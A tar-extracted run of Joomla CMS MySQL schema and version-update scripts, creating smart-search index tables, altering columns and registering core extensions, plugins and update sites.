  `link_id` int unsigned NOT NULL,
  `term_id` int unsigned NOT NULL,
  `weight` float unsigned NOT NULL,
  PRIMARY KEY  (`link_id`,`term_id`),
  KEY `idx_term_weight` (`term_id`,`weight`),
  KEY `idx_link_term_weight` (`link_id`,`term_id`,`weight`)
)  DEFAULT CHARSET=utf8;


CREATE TABLE IF NOT EXISTS `#__finder_links_terms4` (
  `link_id` int unsigned NOT NULL,
  `term_id` int unsigned NOT NULL,
  `weight` float unsigned NOT NULL,
  PRIMARY KEY  (`link_id`,`term_id`),
  KEY `idx_term_weight` (`term_id`,`weight`),
  KEY `idx_link_term_weight` (`link_id`,`term_id`,`weight`)
)  DEFAULT CHARSET=utf8;


CREATE TABLE IF NOT EXISTS `#__finder_links_terms5` (
  `link_id` int unsigned NOT NULL,
  `term_id` int unsigned NOT NULL,
  `weight` float unsigned NOT NULL,
  PRIMARY KEY  (`link_id`,`term_id`),
  KEY `idx_term_weight` (`term_id`,`weight`),
  KEY `idx_link_term_weight` (`link_id`,`term_id`,`weight`)
)  DEFAULT CHARSET=utf8;


CREATE TABLE IF NOT EXISTS `#__finder_links_terms6` (
  `link_id` int unsigned NOT NULL,
  `term_id` int unsigned NOT NULL,
  `weight` float unsigned NOT NULL,
  PRIMARY KEY  (`link_id`,`term_id`),
  KEY `idx_term_weight` (`term_id`,`weight`),
  KEY `idx_link_term_weight` (`link_id`,`term_id`,`weight`)
)  DEFAULT CHARSET=utf8;


CREATE TABLE IF NOT EXISTS `#__finder_links_terms7` (
  `link_id` int unsigned NOT NULL,
  `term_id` int unsigned NOT NULL,
  `weight` float unsigned NOT NULL,
  PRIMARY KEY  (`link_id`,`term_id`),
  KEY `idx_term_weight` (`term_id`,`weight`),
  KEY `idx_link_term_weight` (`link_id`,`term_id`,`weight`)
)  DEFAULT CHARSET=utf8;


CREATE TABLE IF NOT EXISTS `#__finder_links_terms8` (
  `link_id` int unsigned NOT NULL,
  `term_id` int unsigned NOT NULL,
  `weight` float unsigned NOT NULL,
  PRIMARY KEY  (`link_id`,`term_id`),
  KEY `idx_term_weight` (`term_id`,`weight`),
  KEY `idx_link_term_weight` (`link_id`,`term_id`,`weight`)
)  DEFAULT CHARSET=utf8;


CREATE TABLE IF NOT EXISTS `#__finder_links_terms9` (
  `link_id` int unsigned NOT NULL,
  `term_id` int unsigned NOT NULL,
  `weight` float unsigned NOT NULL,
  PRIMARY KEY  (`link_id`,`term_id`),
  KEY `idx_term_weight` (`term_id`,`weight`),
  KEY `idx_link_term_weight` (`link_id`,`term_id`,`weight`)
)  DEFAULT CHARSET=utf8;


CREATE TABLE IF NOT EXISTS `#__finder_links_termsa` (
  `link_id` int unsigned NOT NULL,
  `term_id` int unsigned NOT NULL,
  `weight` float unsigned NOT NULL,
  PRIMARY KEY  (`link_id`,`term_id`),
  KEY `idx_term_weight` (`term_id`,`weight`),
  KEY `idx_link_term_weight` (`link_id`,`term_id`,`weight`)
)  DEFAULT CHARSET=utf8;


CREATE TABLE IF NOT EXISTS `#__finder_links_termsb` (
  `link_id` int unsigned NOT NULL,
  `term_id` int unsigned NOT NULL,
  `weight` float unsigned NOT NULL,
  PRIMARY KEY  (`link_id`,`term_id`),
  KEY `idx_term_weight` (`term_id`,`weight`),
  KEY `idx_link_term_weight` (`link_id`,`term_id`,`weight`)
)  DEFAULT CHARSET=utf8;


CREATE TABLE IF NOT EXISTS `#__finder_links_termsc` (
  `link_id` int unsigned NOT NULL,
  `term_id` int unsigned NOT NULL,
  `weight` float unsigned NOT NULL,
  PRIMARY KEY  (`link_id`,`term_id`),
  KEY `idx_term_weight` (`term_id`,`weight`),
  KEY `idx_link_term_weight` (`link_id`,`term_id`,`weight`)
)  DEFAULT CHARSET=utf8;


CREATE TABLE IF NOT EXISTS `#__finder_links_termsd` (
  `link_id` int unsigned NOT NULL,
  `term_id` int unsigned NOT NULL,
  `weight` float unsigned NOT NULL,
  PRIMARY KEY  (`link_id`,`term_id`),
  KEY `idx_term_weight` (`term_id`,`weight`),
  KEY `idx_link_term_weight` (`link_id`,`term_id`,`weight`)
)  DEFAULT CHARSET=utf8;


CREATE TABLE IF NOT EXISTS `#__finder_links_termse` (
  `link_id` int unsigned NOT NULL,
  `term_id` int unsigned NOT NULL,
  `weight` float unsigned NOT NULL,
  PRIMARY KEY  (`link_id`,`term_id`),
  KEY `idx_term_weight` (`term_id`,`weight`),
  KEY `idx_link_term_weight` (`link_id`,`term_id`,`weight`)
)  DEFAULT CHARSET=utf8;


CREATE TABLE IF NOT EXISTS `#__finder_links_termsf` (
  `link_id` int unsigned NOT NULL,
  `term_id` int unsigned NOT NULL,
  `weight` float unsigned NOT NULL,
  PRIMARY KEY  (`link_id`,`term_id`),
  KEY `idx_term_weight` (`term_id`,`weight`),
  KEY `idx_link_term_weight` (`link_id`,`term_id`,`weight`)
)  DEFAULT CHARSET=utf8;


CREATE TABLE IF NOT EXISTS `#__finder_taxonomy` (
  `id` int unsigned NOT NULL auto_increment,
  `parent_id` int unsigned NOT NULL default '0',
  `title` varchar(255) NOT NULL,
  `state` tinyint unsigned NOT NULL default '1',
  `access` tinyint unsigned NOT NULL default '0',
  `ordering` tinyint unsigned NOT NULL default '0',
  PRIMARY KEY  (`id`),
  KEY `parent_id` (`parent_id`),
  KEY `state` (`state`),
  KEY `ordering` (`ordering`),
  KEY `access` (`access`),
  KEY `idx_parent_published` (`parent_id`,`state`,`access`)
)   DEFAULT CHARSET=utf8;


CREATE TABLE IF NOT EXISTS `#__finder_taxonomy_map` (
  `link_id` int unsigned NOT NULL,
  `node_id` int unsigned NOT NULL,
  PRIMARY KEY  (`link_id`,`node_id`),
  KEY `link_id` (`link_id`),
  KEY `node_id` (`node_id`)
)  DEFAULT CHARSET=utf8;


CREATE TABLE IF NOT EXISTS `#__finder_terms` (
  `term_id` int unsigned NOT NULL auto_increment,
  `term` varchar(75) NOT NULL,
  `stem` varchar(75) NOT NULL,
  `common` tinyint unsigned NOT NULL default '0',
  `phrase` tinyint unsigned NOT NULL default '0',
  `weight` float unsigned NOT NULL default '0',
  `soundex` varchar(75) NOT NULL,
  `links` int NOT NULL default '0',
  PRIMARY KEY  (`term_id`),
  UNIQUE KEY `idx_term` (`term`),
  KEY `idx_term_phrase` (`term`,`phrase`),
  KEY `idx_stem_phrase` (`stem`,`phrase`),
  KEY `idx_soundex_phrase` (`soundex`,`phrase`)
)  DEFAULT CHARSET=utf8;


CREATE TABLE IF NOT EXISTS `#__finder_terms_common` (
  `term` varchar(75) NOT NULL,
  `language` varchar(3) NOT NULL,
  KEY `idx_word_lang` (`term`,`language`),
  KEY `idx_lang` (`language`)
)  DEFAULT CHARSET=utf8;


CREATE TABLE IF NOT EXISTS `#__finder_tokens` (
  `term` varchar(75) NOT NULL,
  `stem` varchar(75) NOT NULL,
  `common` tinyint unsigned NOT NULL default '0',
  `phrase` tinyint unsigned NOT NULL default '0',
  `weight` float unsigned NOT NULL default '1',
  `context` tinyint unsigned NOT NULL default '2',
  KEY `idx_word` (`term`),
  KEY `idx_context` (`context`)
) ENGINE=MEMORY DEFAULT CHARSET=utf8;


CREATE TABLE IF NOT EXISTS `#__finder_tokens_aggregate` (
  `term_id` int unsigned NOT NULL,
  `map_suffix` char(1) NOT NULL,
  `term` varchar(75) NOT NULL,
  `stem` varchar(75) NOT NULL,
  `common` tinyint unsigned NOT NULL default '0',
  `phrase` tinyint unsigned NOT NULL default '0',
  `term_weight` float unsigned NOT NULL,
  `context` tinyint unsigned NOT NULL default '2',
  `context_weight` float unsigned NOT NULL,
  `total_weight` float unsigned NOT NULL,
  KEY `token` (`term`),
  KEY `keyword_id` (`term_id`)
) ENGINE=MEMORY DEFAULT CHARSET=utf8;


CREATE TABLE IF NOT EXISTS `#__finder_types` (
  `id` int unsigned NOT NULL auto_increment,
  `title` varchar(100) NOT NULL,
  `mime` varchar(100) NOT NULL,
  PRIMARY KEY  (`id`),
  UNIQUE KEY `title` (`title`)
)   DEFAULT CHARSET=utf8;


com_admin/sql/updates/mysql/2.5.0-2012-01-14.sql000060400000000136152455305270014314 0ustar00ALTER TABLE `#__languages` CHANGE `sitename` `sitename` VARCHAR( 1024 ) NOT NULL DEFAULT '';

com_admin/sql/updates/mysql/3.10.0-2021-05-28.sql000060400000000564152455305270014407 0ustar00INSERT INTO `#__extensions` (`package_id`, `name`, `type`, `element`, `folder`, `client_id`, `enabled`, `access`, `protected`, `manifest_cache`, `params`, `custom_data`, `system_data`, `checked_out`, `checked_out_time`, `ordering`, `state`) VALUES
(0, 'plg_quickicon_eos310', 'plugin', 'eos310', 'quickicon', 0, 1, 1, 0, '', '{}', '', '', 0, '0000-00-00 00:00:00', 0, 0);
com_admin/sql/updates/mysql/3.9.0-2018-06-14.sql000060400000001022152455305270014327 0ustar00INSERT INTO `#__postinstall_messages` (`extension_id`, `title_key`, `description_key`, `action_key`, `language_extension`, `language_client_id`, `type`, `action_file`, `action`, `condition_file`, `condition_method`, `version_introduced`, `enabled`) VALUES
(700, 'COM_ACTIONLOGS_POSTINSTALL_TITLE', 'COM_ACTIONLOGS_POSTINSTALL_BODY', '', 'com_actionlogs', 1, 'message', '', '', '', '', '3.9.0', 1),
(700, 'COM_PRIVACY_POSTINSTALL_TITLE', 'COM_PRIVACY_POSTINSTALL_BODY', '', 'com_privacy', 1, 'message', '', '', '', '', '3.9.0', 1);com_admin/sql/updates/mysql/2.5.1-2012-01-26.sql000060400000002342152455305270014321 0ustar00INSERT INTO `#__extensions` (`extension_id`, `name`, `type`, `element`, `folder`, `client_id`, `enabled`, `access`, `protected`, `manifest_cache`, `params`, `custom_data`, `system_data`, `checked_out`, `checked_out_time`, `ordering`, `state`) VALUES
(314, 'mod_version', 'module', 'mod_version', '', 1, 1, 1, 0, '{"legacy":false,"name":"mod_version","type":"module","creationDate":"January 2012","author":"Joomla! Project","copyright":"(C) 2012 Open Source Matters, Inc.","authorEmail":"admin@joomla.org","authorUrl":"www.joomla.org","version":"2.5.0","description":"MOD_VERSION_XML_DESCRIPTION","group":""}', '{"format":"short","product":"1","cache":"0"}', '', '', 0, '0000-00-00 00:00:00', 0, 0);

INSERT INTO `#__modules` (`title`, `note`, `content`, `ordering`, `position`, `checked_out`, `checked_out_time`, `publish_up`, `publish_down`, `published`, `module`, `access`, `showtitle`, `params`, `client_id`, `language`) VALUES
('Joomla Version', '', '', 1, 'footer', 0, '0000-00-00 00:00:00', '0000-00-00 00:00:00', '0000-00-00 00:00:00', 1, 'mod_version', 3, 1, '{"format":"short","product":"1","layout":"_:default","moduleclass_sfx":"","cache":"0"}', 1, '*');

INSERT INTO `#__modules_menu` (`moduleid`, `menuid`) VALUES
(LAST_INSERT_ID(), 0);
com_admin/sql/updates/mysql/3.9.0-2018-06-13.sql000060400000000625152455305270014336 0ustar00INSERT INTO `#__extensions` (`extension_id`, `package_id`, `name`, `type`, `element`, `folder`, `client_id`, `enabled`, `access`, `protected`, `manifest_cache`, `params`, `custom_data`, `system_data`, `checked_out`, `checked_out_time`, `ordering`, `state`) VALUES
(488, 0, 'plg_quickicon_privacycheck', 'plugin', 'privacycheck', 'quickicon', 0, 1, 1, 0, '', '{}', '', '', 0, '0000-00-00 00:00:00', 0, 0);
com_admin/sql/updates/mysql/3.5.1-2016-03-25.sql000060400000000200152455305270014316 0ustar00--
-- Make #__user_keys.user_id fit to #__users.username
--

ALTER TABLE `#__user_keys` MODIFY `user_id` varchar(150) NOT NULL;
com_admin/sql/updates/mysql/3.10.0-2020-08-10.sql000060400000000504152455305270014372 0ustar00--
-- These database columns are not used in Joomla 3.10 but will be used in Joomla 4.
-- They are added to 3.10 because otherwise the update to 4 will fail.
--
ALTER TABLE `#__template_styles` ADD COLUMN `inheritable` tinyint NOT NULL DEFAULT 0;
ALTER TABLE `#__template_styles` ADD COLUMN `parent` varchar(50) DEFAULT '';
com_admin/sql/updates/mysql/3.7.0-2017-02-17.sql000060400000001312152455305270014325 0ustar00-- Normalize contact_details table default values.
ALTER TABLE `#__contact_details` MODIFY `name` varchar(255) NOT NULL;
ALTER TABLE `#__contact_details` MODIFY `alias` varchar(400) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NOT NULL;
ALTER TABLE `#__contact_details` MODIFY `sortname1` varchar(255) NOT NULL DEFAULT '';
ALTER TABLE `#__contact_details` MODIFY `sortname2` varchar(255) NOT NULL DEFAULT '';
ALTER TABLE `#__contact_details` MODIFY `sortname3` varchar(255) NOT NULL DEFAULT '';
ALTER TABLE `#__contact_details` MODIFY `language` varchar(7) NOT NULL;
ALTER TABLE `#__contact_details` MODIFY `xreference` varchar(50) NOT NULL DEFAULT '' COMMENT 'A reference to enable linkages to external data sets.';
com_admin/sql/updates/mysql/3.0.3.sql000060400000000152152455305270013267 0ustar00ALTER TABLE `#__associations` CHANGE `id` `id` INT NOT NULL COMMENT 'A reference to the associated item.';com_admin/sql/updates/mysql/3.4.0-2014-09-16.sql000060400000000452152455305270014331 0ustar00ALTER TABLE `#__redirect_links` ADD COLUMN `header` smallint NOT NULL DEFAULT 301;
--
-- The following statement has to be disabled because it conflicts with
-- a later change added with Joomla! 3.5.0 for long URLs in this table
--
-- ALTER TABLE `#__redirect_links` MODIFY `new_url` varchar(255);
com_admin/sql/updates/mysql/3.9.0-2018-10-21.sql000060400000000611152455305270014323 0ustar00INSERT INTO `#__extensions` (`extension_id`, `package_id`, `name`, `type`, `element`, `folder`, `client_id`, `enabled`, `access`, `protected`, `manifest_cache`, `params`, `custom_data`, `system_data`, `checked_out`, `checked_out_time`, `ordering`, `state`) VALUES
(495, 0, 'plg_privacy_consents', 'plugin', 'consents', 'privacy', 0, 1, 1, 0, '', '{}', '', '', 0, '0000-00-00 00:00:00', 0, 0);
com_admin/sql/updates/mysql/3.6.0-2016-04-09.sql000060400000000167152455305270014335 0ustar00--
-- Add ACL check for to #__menu_types
--

ALTER TABLE `#__menu_types` ADD COLUMN `asset_id` INT NOT NULL AFTER `id`;com_admin/sql/updates/mysql/3.7.0-2016-08-29.sql000060400000013026152455305270014342 0ustar00CREATE TABLE IF NOT EXISTS `#__fields` (
  `id` int unsigned NOT NULL AUTO_INCREMENT,
  `asset_id` int unsigned NOT NULL DEFAULT 0,
  `context` varchar(255) NOT NULL DEFAULT '',
  `group_id` int unsigned NOT NULL DEFAULT 0,
  `title` varchar(255) NOT NULL DEFAULT '',
  `name` varchar(255) NOT NULL DEFAULT '',
  `label` varchar(255) NOT NULL DEFAULT '',
  `default_value` text,
  `type` varchar(255) NOT NULL DEFAULT 'text',
  `note` varchar(255) NOT NULL DEFAULT '',
  `description` text NOT NULL,
  `state` tinyint NOT NULL DEFAULT '0',
  `required` tinyint NOT NULL DEFAULT '0',
  `checked_out` int NOT NULL DEFAULT '0',
  `checked_out_time` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `ordering` int NOT NULL DEFAULT '0',
  `params` text NOT NULL,
  `fieldparams` text NOT NULL,
  `language` char(7) NOT NULL DEFAULT '',
  `created_time` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `created_user_id` int unsigned NOT NULL DEFAULT '0',
  `modified_time` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `modified_by` int unsigned NOT NULL DEFAULT '0',
  `access` int NOT NULL DEFAULT '1',
  PRIMARY KEY (`id`),
  KEY `idx_checkout` (`checked_out`),
  KEY `idx_state` (`state`),
  KEY `idx_created_user_id` (`created_user_id`),
  KEY `idx_access` (`access`),
  KEY `idx_context` (`context`(191)),
  KEY `idx_language` (`language`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 DEFAULT COLLATE=utf8mb4_unicode_ci;

CREATE TABLE IF NOT EXISTS `#__fields_categories` (
  `field_id` int NOT NULL DEFAULT 0,
  `category_id` int NOT NULL DEFAULT 0,
  PRIMARY KEY (`field_id`,`category_id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 DEFAULT COLLATE=utf8mb4_unicode_ci;

CREATE TABLE IF NOT EXISTS `#__fields_groups` (
  `id` int unsigned NOT NULL AUTO_INCREMENT,
  `asset_id` int unsigned NOT NULL DEFAULT 0,
  `context` varchar(255) NOT NULL DEFAULT '',
  `title` varchar(255) NOT NULL DEFAULT '',
  `note` varchar(255) NOT NULL DEFAULT '',
  `description` text NOT NULL,
  `state` tinyint NOT NULL DEFAULT '0',
  `checked_out` int NOT NULL DEFAULT '0',
  `checked_out_time` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `ordering` int NOT NULL DEFAULT '0',
  `language` char(7) NOT NULL DEFAULT '',
  `created` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `created_by` int unsigned NOT NULL DEFAULT '0',
  `modified` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `modified_by` int unsigned NOT NULL DEFAULT '0',
  `access` int NOT NULL DEFAULT '1',
  PRIMARY KEY (`id`),
  KEY `idx_checkout` (`checked_out`),
  KEY `idx_state` (`state`),
  KEY `idx_created_by` (`created_by`),
  KEY `idx_access` (`access`),
  KEY `idx_context` (`context`(191)),
  KEY `idx_language` (`language`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 DEFAULT COLLATE=utf8mb4_unicode_ci;

CREATE TABLE IF NOT EXISTS `#__fields_values` (
  `field_id` int unsigned NOT NULL,
  `item_id` varchar(255) NOT NULL COMMENT 'Allow references to items which have strings as ids, eg. none db systems.',
  `value` text,
  KEY `idx_field_id` (`field_id`),
  KEY `idx_item_id` (`item_id`(191))
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 DEFAULT COLLATE=utf8mb4_unicode_ci;

INSERT INTO `#__extensions` (`extension_id`, `name`, `type`, `element`, `folder`, `client_id`, `enabled`, `access`, `protected`, `manifest_cache`, `params`, `custom_data`, `system_data`, `checked_out`, `checked_out_time`, `ordering`, `state`) VALUES
(33, 'com_fields', 'component', 'com_fields', '', 1, 1, 1, 0, '', '', '', '', 0, '0000-00-00 00:00:00', 0, 0);
INSERT INTO `#__extensions` (`extension_id`, `name`, `type`, `element`, `folder`, `client_id`, `enabled`, `access`, `protected`, `manifest_cache`, `params`, `custom_data`, `system_data`, `checked_out`, `checked_out_time`, `ordering`, `state`) VALUES
(461, 'plg_system_fields', 'plugin', 'fields', 'system', 0, 1, 1, 0, '', '', '', '', 0, '0000-00-00 00:00:00', 0, 0),
(462, 'plg_fields_calendar', 'plugin', 'calendar', 'fields', 0, 1, 1, 0, '', '', '', '', 0, '0000-00-00 00:00:00', 0, 0),
(463, 'plg_fields_checkboxes', 'plugin', 'checkboxes', 'fields', 0, 1, 1, 0, '', '', '', '', 0, '0000-00-00 00:00:00', 0, 0),
(464, 'plg_fields_color', 'plugin', 'color', 'fields', 0, 1, 1, 0, '', '', '', '', 0, '0000-00-00 00:00:00', 0, 0),
(465, 'plg_fields_editor', 'plugin', 'editor', 'fields', 0, 1, 1, 0, '', '', '', '', 0, '0000-00-00 00:00:00', 0, 0),
(466, 'plg_fields_imagelist', 'plugin', 'imagelist', 'fields', 0, 1, 1, 0, '', '', '', '', 0, '0000-00-00 00:00:00', 0, 0),
(467, 'plg_fields_integer', 'plugin', 'integer', 'fields', 0, 1, 1, 0, '', '', '', '', 0, '0000-00-00 00:00:00', 0, 0),
(468, 'plg_fields_list', 'plugin', 'list', 'fields', 0, 1, 1, 0, '', '', '', '', 0, '0000-00-00 00:00:00', 0, 0),
(469, 'plg_fields_media', 'plugin', 'media', 'fields', 0, 1, 1, 0, '', '', '', '', 0, '0000-00-00 00:00:00', 0, 0),
(470, 'plg_fields_radio', 'plugin', 'radio', 'fields', 0, 1, 1, 0, '', '', '', '', 0, '0000-00-00 00:00:00', 0, 0),
(471, 'plg_fields_sql', 'plugin', 'sql', 'fields', 0, 1, 1, 0, '', '', '', '', 0, '0000-00-00 00:00:00', 0, 0),
(472, 'plg_fields_text', 'plugin', 'text', 'fields', 0, 1, 1, 0, '', '', '', '', 0, '0000-00-00 00:00:00', 0, 0),
(473, 'plg_fields_textarea', 'plugin', 'textarea', 'fields', 0, 1, 1, 0, '', '', '', '', 0, '0000-00-00 00:00:00', 0, 0),
(474, 'plg_fields_url', 'plugin', 'url', 'fields', 0, 1, 1, 0, '', '', '', '', 0, '0000-00-00 00:00:00', 0, 0),
(475, 'plg_fields_user', 'plugin', 'user', 'fields', 0, 1, 1, 0, '', '', '', '', 0, '0000-00-00 00:00:00', 0, 0),
(476, 'plg_fields_usergrouplist', 'plugin', 'usergrouplist', 'fields', 0, 1, 1, 0, '', '', '', '', 0, '0000-00-00 00:00:00', 0, 0);
com_admin/sql/updates/mysql/3.9.0-2018-05-19.sql000060400000000611152455305270014336 0ustar00INSERT INTO `#__extensions` (`extension_id`, `package_id`, `name`, `type`, `element`, `folder`, `client_id`, `enabled`, `access`, `protected`, `manifest_cache`, `params`, `custom_data`, `system_data`, `checked_out`, `checked_out_time`, `ordering`, `state`) VALUES
(481, 0, 'plg_fields_repeatable', 'plugin', 'repeatable', 'fields', 0, 1, 1, 0, '', '', '', '', 0, '0000-00-00 00:00:00', 0, 0);
com_admin/sql/updates/mysql/3.3.6-2014-09-30.sql000060400000000727152455305270014337 0ustar00INSERT INTO `#__update_sites` (`name`, `type`, `location`, `enabled`) VALUES
('Joomla! Update Component Update Site', 'extension', 'https://update.joomla.org/core/extensions/com_joomlaupdate.xml', 1);

INSERT INTO `#__update_sites_extensions` (`update_site_id`, `extension_id`) VALUES
((SELECT `update_site_id` FROM `#__update_sites` WHERE `name` = 'Joomla! Update Component Update Site'), (SELECT `extension_id` FROM `#__extensions` WHERE `name` = 'com_joomlaupdate'));
com_admin/sql/updates/mysql/3.10.7-2022-02-20.sql000060400000000152152455305270014375 0ustar00DELETE FROM `#__postinstall_messages` WHERE `title_key` = 'COM_ADMIN_POSTINSTALL_MSG_FLOC_BLOCKER_TITLE';
com_admin/sql/updates/mysql/2.5.0-2011-12-21-1.sql000060400000004302152455305270014450 0ustar00INSERT INTO `#__extensions` (`extension_id`, `name`, `type`, `element`, `folder`, `client_id`, `enabled`, `access`, `protected`, `manifest_cache`, `params`, `custom_data`, `system_data`, `checked_out`, `checked_out_time`, `ordering`, `state`) VALUES
(27, 'com_finder', 'component', 'com_finder', '', 1, 1, 0, 0, '', '{"show_description":"1","description_length":255,"allow_empty_query":"0","show_url":"1","show_advanced":"1","expand_advanced":"0","show_date_filters":"0","highlight_terms":"1","opensearch_name":"","opensearch_description":"","batch_size":"50","memory_table_limit":30000,"title_multiplier":"1.7","text_multiplier":"0.7","meta_multiplier":"1.2","path_multiplier":"2.0","misc_multiplier":"0.3","stemmer":"porter_en"}', '', '', 0, '0000-00-00 00:00:00', 0, 0),
(439, 'plg_captcha_recaptcha', 'plugin', 'recaptcha', 'captcha', 0, 1, 1, 0, '{}', '{"public_key":"","private_key":"","theme":"clean"}', '', '', 0, '0000-00-00 00:00:00', 0, 0),
(440, 'plg_system_highlight', 'plugin', 'highlight', 'system', 0, 1, 1, 0, '', '{}', '', '', 0, '0000-00-00 00:00:00', 7, 0),
(441, 'plg_content_finder', 'plugin', 'finder', 'content', 0, 0, 1, 0, '{"legacy":false,"name":"plg_content_finder","type":"plugin","creationDate":"December 2011","author":"Joomla! Project","copyright":"(C) 2011 Open Source Matters, Inc.","authorEmail":"admin@joomla.org","authorUrl":"www.joomla.org","version":"1.7.0","description":"PLG_CONTENT_FINDER_XML_DESCRIPTION","group":""}', '{}', '', '', 0, '0000-00-00 00:00:00', 0, 0),
(442, 'plg_finder_categories', 'plugin', 'categories', 'finder', 0, 1, 1, 0, '', '{}', '', '', 0, '0000-00-00 00:00:00', 1, 0),
(443, 'plg_finder_contacts', 'plugin', 'contacts', 'finder', 0, 1, 1, 0, '', '{}', '', '', 0, '0000-00-00 00:00:00', 2, 0),
(444, 'plg_finder_content', 'plugin', 'content', 'finder', 0, 1, 1, 0, '', '{}', '', '', 0, '0000-00-00 00:00:00', 3, 0),
(445, 'plg_finder_newsfeeds', 'plugin', 'newsfeeds', 'finder', 0, 1, 1, 0, '', '{}', '', '', 0, '0000-00-00 00:00:00', 4, 0),
(446, 'plg_finder_weblinks', 'plugin', 'weblinks', 'finder', 0, 1, 1, 0, '', '{}', '', '', 0, '0000-00-00 00:00:00', 5, 0),
(223, 'mod_finder', 'module', 'mod_finder', '', 0, 1, 0, 0, '', '', '', '', 0, '0000-00-00 00:00:00', 0, 0);
com_admin/sql/updates/mysql/3.3.0-2014-02-16.sql000060400000000221152455305270014313 0ustar00ALTER TABLE `#__users` ADD COLUMN `requireReset` tinyint NOT NULL DEFAULT 0 COMMENT 'Require user to reset password on next login' AFTER `otep`;
com_admin/sql/updates/mysql/2.5.0-2012-01-10.sql000060400000000120152455305270014301 0ustar00ALTER TABLE `#__updates` ADD COLUMN `infourl` text NOT NULL AFTER `detailsurl`;
com_admin/sql/updates/mysql/3.7.0-2016-11-04.sql000060400000000124152455305270014320 0ustar00ALTER TABLE `#__extensions` CHANGE `enabled` `enabled` TINYINT NOT NULL DEFAULT '0';com_admin/sql/updates/mysql/2.5.7.sql000060400000001005152455305270013275 0ustar00INSERT INTO `#__update_sites` (`name`, `type`, `location`, `enabled`, `last_check_timestamp`) VALUES('Accredited Joomla! Translations','collection','https://update.joomla.org/language/translationlist.xml',1,0);INSERT INTO `#__update_sites_extensions` (`update_site_id`, `extension_id`) VALUES(LAST_INSERT_ID(),600);UPDATE  `#__assets` SET name=REPLACE( name, 'com_user.notes.category','com_users.category'  );UPDATE  `#__categories` SET extension=REPLACE( extension, 'com_user.notes.category','com_users.category'  );com_admin/sql/updates/mysql/3.4.0-2015-01-21.sql000060400000000577152455305270014326 0ustar00INSERT INTO `#__postinstall_messages` (`extension_id`, `title_key`, `description_key`, `action_key`, `language_extension`, `language_client_id`, `type`, `action_file`, `action`, `condition_file`, `condition_method`, `version_introduced`, `enabled`) VALUES
(700, 'COM_CPANEL_MSG_ROBOTS_TITLE', 'COM_CPANEL_MSG_ROBOTS_BODY', '', 'com_cpanel', 1, 'message', '', '', '', '', '3.3.0', 1);com_admin/sql/updates/mysql/3.9.7-2019-04-26.sql000060400000000522152455305270014344 0ustar00UPDATE `#__content_types` SET `content_history_options` = REPLACE(`content_history_options`, '\"ignoreChanges\":[\"modified_by\", \"modified\", \"checked_out\", \"checked_out_time\", \"version\", \"hits\"]', '\"ignoreChanges\":[\"modified_by\", \"modified\", \"checked_out\", \"checked_out_time\", \"version\", \"hits\", \"ordering\"]');
com_admin/sql/updates/mysql/3.1.4.sql000060400000000554152455305270013277 0ustar00INSERT INTO `#__extensions` (`extension_id`, `name`, `type`, `element`, `folder`, `client_id`, `enabled`, `access`, `protected`, `manifest_cache`, `params`, `custom_data`, `system_data`, `checked_out`, `checked_out_time`, `ordering`, `state`) VALUES
(104, 'IDNA Convert', 'library', 'idna_convert', '', 0, 1, 1, 1, '', '', '', '', 0, '0000-00-00 00:00:00', 0, 0);
com_admin/sql/updates/mysql/3.1.3.sql000060400000000072152455305270013271 0ustar00# Placeholder file for database changes for version 3.1.3
com_admin/sql/updates/mysql/3.5.0-2015-11-04.sql000060400000000730152455305270014320 0ustar00DELETE FROM `#__menu` WHERE `title` = 'com_messages_read' AND `client_id` = 1;

INSERT INTO `#__extensions` (`extension_id`, `name`, `type`, `element`, `folder`, `client_id`, `enabled`, `access`, `protected`, `manifest_cache`, `params`, `custom_data`, `system_data`, `checked_out`, `checked_out_time`, `ordering`, `state`) VALUES
(452, 'plg_system_updatenotification', 'plugin', 'updatenotification', 'system', 0, 1, 1, 0, '', '', '', '', 0, '0000-00-00 00:00:00', 0, 0);
com_admin/sql/updates/mysql/3.7.0-2016-11-27.sql000060400000000175152455305270014333 0ustar00-- Normalize modules content field with other db systems. Add default value.
ALTER TABLE `#__modules` MODIFY `content` text;
com_admin/sql/updates/mysql/3.9.0-2018-07-10.sql000060400000000346152455305270014334 0ustar00INSERT INTO `#__action_log_config` (`id`, `type_title`, `type_alias`, `id_holder`, `title_holder`, `table_name`, `text_prefix`)
	VALUES (19, 'application_config', 'com_config.application', '', 'name', '', 'PLG_ACTIONLOG_JOOMLA');
com_admin/sql/updates/mysql/3.10.7-2022-03-18.sql000060400000000200152455305270014377 0ustar00ALTER TABLE `#__users` ADD COLUMN `authProvider` VARCHAR(100) NOT NULL DEFAULT '' COMMENT 'Name of used authentication plugin';
com_admin/sql/updates/mysql/3.9.0-2018-06-02.sql000060400000001535152455305270014335 0ustar00ALTER TABLE `#__content` ADD COLUMN `note` VARCHAR(255) NOT NULL DEFAULT '';

UPDATE `#__content_types` SET `field_mappings` = 
'{"common":{"core_content_item_id":"id","core_title":"title","core_state":"state","core_alias":"alias","core_created_time":"created","core_modified_time":"modified","core_body":"introtext", "core_hits":"hits","core_publish_up":"publish_up","core_publish_down":"publish_down","core_access":"access", "core_params":"attribs", "core_featured":"featured", "core_metadata":"metadata", "core_language":"language", "core_images":"images", "core_urls":"urls", "core_version":"version", "core_ordering":"ordering", "core_metakey":"metakey", "core_metadesc":"metadesc", "core_catid":"catid", "core_xreference":"xreference", "asset_id":"asset_id", "note":"note"}, "special":{"fulltext":"fulltext"}}' WHERE `type_alias` = 'com_content.article';
com_admin/sql/updates/mysql/3.8.2-2017-10-14.sql000060400000000156152455305270014331 0ustar00--
-- Add index for alias check #__content
--

ALTER TABLE `#__content` ADD INDEX `idx_alias` (`alias`(191));
com_admin/sql/updates/mysql/3.9.22-2020-09-16.sql000060400000000546152455305270014423 0ustar00INSERT INTO `#__postinstall_messages` (`extension_id`, `title_key`, `description_key`, `action_key`, `language_extension`, `language_client_id`, `type`, `version_introduced`, `enabled`)
VALUES
